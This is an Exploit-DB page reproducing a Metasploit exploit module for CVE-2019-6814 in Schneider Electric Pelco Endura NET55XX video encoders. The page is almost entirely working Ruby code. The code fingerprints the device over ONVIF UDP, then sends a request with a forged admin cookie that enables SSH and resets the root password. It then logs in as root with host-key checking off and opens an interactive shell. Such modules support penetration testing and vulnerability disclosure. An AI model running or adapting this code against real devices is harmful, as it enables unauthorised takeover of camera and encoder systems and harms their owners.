Schneider Electric Pelco Endura NET55XX Encoder – Authentication Bypass (Metasploit)

  • 作者: Metasploit
    日期: 2019-07-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47186/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Exploit::Remote::SSH
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "Schneider Electric Pelco Endura NET55XX Encoder",
    'Description'=> %q(
    This module exploits inadequate access controls within the webUI to enable
    the SSH service and change the root password. This module has been tested successfully
    on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Lucas Dinucci <idntk.lucdin@gmail.com>',
    'Vitor Esperança <vitor@machiaveliclabs.com>'
    ],
    'References' =>
    [
    ['CVE', '2019-6814'],
    ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
    ],
    'Payload'=>
    {
    'Compat' => {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find'
    }
    },
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Targets' => [ [ "Universal", {} ] ],
    'Privileged' => true,
    'DisclosureDate' => "Jan 25 2019",
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
    OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
    ]
    )
    
    register_advanced_options(
    [
    OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
    OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    ]
    )
    end
    
    def new_password
    datastore['NEW_PASSWORD']
    end
    
    def check
    xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
     '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
     '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
     '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
     '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
     '<a:ReplyTo>'\
     '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
     '</a:ReplyTo>'\
     '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
     '</Header>'\
     '<Body>'\
     '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
     '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
     '</Probe>'\
     '</Body>'\
     '</Envelope><?xml version="1.0" encoding="UTF-8"?>'
    
    connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
    return Exploit::CheckCode::Appears
    end
     CheckCode::Safe
    end
    
    def change_password
    print_status("#{peer} - Attempt to change the root password...")
    post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json
    
    login = send_request_cgi({
    'method' => 'POST',
    'uri' =>normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
    'data' => post,
    'headers' =>
    {
    'Cookie'=> 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
    'Content-Type'=> 'application/json;charset=utf-8'
    }
    }, timeout=datastore['TIMEOUT'])
    
    fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
    print_good("#{rhost}:80 - Successfully changed the root password...")
    print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
    end
    
    def do_login
    change_password
    print_status("#{rhost}:22 - Attempt to start a SSH connection...")
    factory = ssh_socket_factory
    opts = {
    :auth_methods=> ['password', 'keyboard-interactive'],
    :port=> 22,
    :use_agent => false,
    :config=> true,
    :password=> new_password,
    :proxy => factory,
    :non_interactive => true,
    :verify_host_key => :never
    }
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
    ssh = nil
    ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
    end
    rescue Rex::ConnectionError
    rescue Net::SSH::Disconnect, ::EOFError
    print_error "#{rhost}:22 SSH - Disconnected during negotiation"
    rescue ::Timeout::Error
    print_error "#{rhost}:22 SSH - Timed out during negotiation"
    rescue Net::SSH::AuthenticationFailed
    print_error "#{rhost}:22 SSH - Failed authentication"
    rescue Net::SSH::Exception => e
    print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
    end
    if ssh
    conn = Net::SSH::CommandStream.new(ssh)
    return conn
    end
    end
    
    def exploit
    conn = do_login
    if conn
    print_good("#{rhost}:22 - Session established ")
    handler(conn.lsock)
    end
    end
    end